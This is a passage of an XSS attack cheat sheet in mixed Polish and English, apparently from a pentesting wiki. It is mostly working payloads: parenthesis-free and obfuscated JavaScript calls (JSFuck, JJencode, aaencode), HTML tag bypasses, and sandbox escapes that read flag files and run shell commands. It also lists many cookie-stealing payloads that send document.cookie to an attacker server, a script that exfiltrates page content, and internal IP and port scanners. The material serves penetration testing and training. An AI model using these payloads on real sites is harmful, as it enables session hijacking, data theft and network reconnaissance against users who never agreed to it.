throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Dowolne wywołanie funkcji (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href
. An attacker, could abuse this to execute arbitrary JS code.
Z uwagi na rozszerzenie wyjaśnienia DOM vulnerabilities zostały przeniesione na tę stronę:
Znajdziesz tam szczegółowe wyjaśnienie czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować.
Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a podatną subdomenę na XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in tym wpisie na blogu.
Sending your session to the admin
Może użytkownik udostępnić swój profil adminowi i jeśli self XSS znajduje się w profilu użytkownika, a admin go otworzy, uruchomi podatność.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Z powodu RoR mass assignment w HTML wstawiane są cudzysłowy, przez co ograniczenie cudzysłowów jest obchodzone i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.
Przykład formularza (from this report), jeśli wyślesz payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Para "Key","Value" zostanie zwrócona w następujący sposób:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Wtedy zostanie wstawiony atrybut onfocus i nastąpi XSS.
Specjalne kombinacje
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Jeśli odkryjesz, że możesz inject headers in a 302 Redirect response możesz spróbować make the browser execute arbitrary JavaScript. To nie jest trywialne, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP gdy status code odpowiedzi HTTP to 302, więc sam cross-site scripting payload jest bezużyteczny.
W this report i this one możesz przeczytać, jak testować różne protokoły w Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na zbadanie i wykonanie XSS payload wewnątrz body.
Past known protocols: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Tylko litery, cyfry i kropki
Jeśli możesz wskazać callback, który javascript ma zamiar execute, ograniczony do tych znaków. Read this section of this post aby dowiedzieć się, jak abuse tego zachowania.
Prawidłowe Content-Types <script>
dla XSS
(From here) Jeśli próbujesz załadować skrypt z content-type takim jak application/octet-stream
, Chrome zgłosi następujący błąd:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes
from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Typy skryptów w XSS
(Źródło: here) Które typy można wskazać, by załadować skrypt?
<script type="???"></script>
Odpowiedź to:
- module (domyślnie, nic do wyjaśnienia)
- webbundle: Web Bundles to funkcja, która pozwala spakować różne dane (HTML, CSS, JS…) w plik
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Pozwala ulepszyć składnię importów
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
To zachowanie zostało użyte w this writeup do remapowania biblioteki na eval — jego nadużycie może wywołać XSS.
- speculationrules: Ta funkcja ma głównie rozwiązywać pewne problemy spowodowane przez pre-rendering. Działa w ten sposób:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types powodujące XSS
(From here) Następujące content types mogą wykonywać XSS we wszystkich przeglądarkach:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nie na liście, ale chyba widziałem to w CTF)
- application/rss+xml (wyłączone)
- application/atom+xml (wyłączone)
W innych przeglądarkach inne Content-Types
mogą być użyte do wykonania dowolnego JS, zobacz: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Jeśli strona zwraca text/xml content-type, możliwe jest określenie namespace i wykonanie dowolnego JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Specjalne wzorce zamiany
Kiedy używa się czegoś takiego jak "some {{template}} data".replace("{{template}}", <user_input>)
. Atakujący może użyć special string replacements żeby spróbować obejść niektóre zabezpieczenia: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na przykład w this writeup użyto tego, aby escape'ować ciąg JSON wewnątrz skryptu i wykonać arbitralny kod.
Chrome Cache to XSS
XS Jails Escape
Jeśli masz do dyspozycji tylko ograniczony zestaw chars, sprawdź te inne poprawne rozwiązania problemów z XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Jeśli wszystko jest undefined przed wykonaniem niezaufanego kodu (jak w this writeup), możliwe jest wygenerowanie użytecznych obiektów "z niczego" w celu wykorzystania wykonywania dowolnego niezaufanego kodu:
- Używając import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Dostęp do
require
pośrednio
According to this moduły są przez Node.js opakowywane wewnątrz funkcji, w ten sposób:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Zatem, jeśli z tego modułu możemy wywołać inną funkcję, możliwe jest użycie arguments.callee.caller.arguments[1]
z tej funkcji, aby uzyskać dostęp do require
:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
W podobny sposób jak w poprzednim przykładzie, można użyć obsługi błędów, aby uzyskać dostęp do wrappera modułu i otrzymać funkcję require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Różne obfuscations na jednej stronie: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Bardziej zaawansowany JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS częste payloads
Kilka payloads w 1
Iframe Trap
Zmusić użytkownika do poruszania się po stronie bez opuszczania iframe i przechwycić jego działania (w tym informacje wysyłane w formularzach):
Pobieranie cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript, jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz some ways to bypass this protection jeśli będziesz miał szczęście.
Kradzież zawartości strony
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Znajdź wewnętrzne adresy IP
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Skaner portów (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Short times indicate a responding port Longer times indicate no response.
Przejrzyj listę zablokowanych portów w Chrome here i w Firefox here.
Pole do żądania danych uwierzytelniających
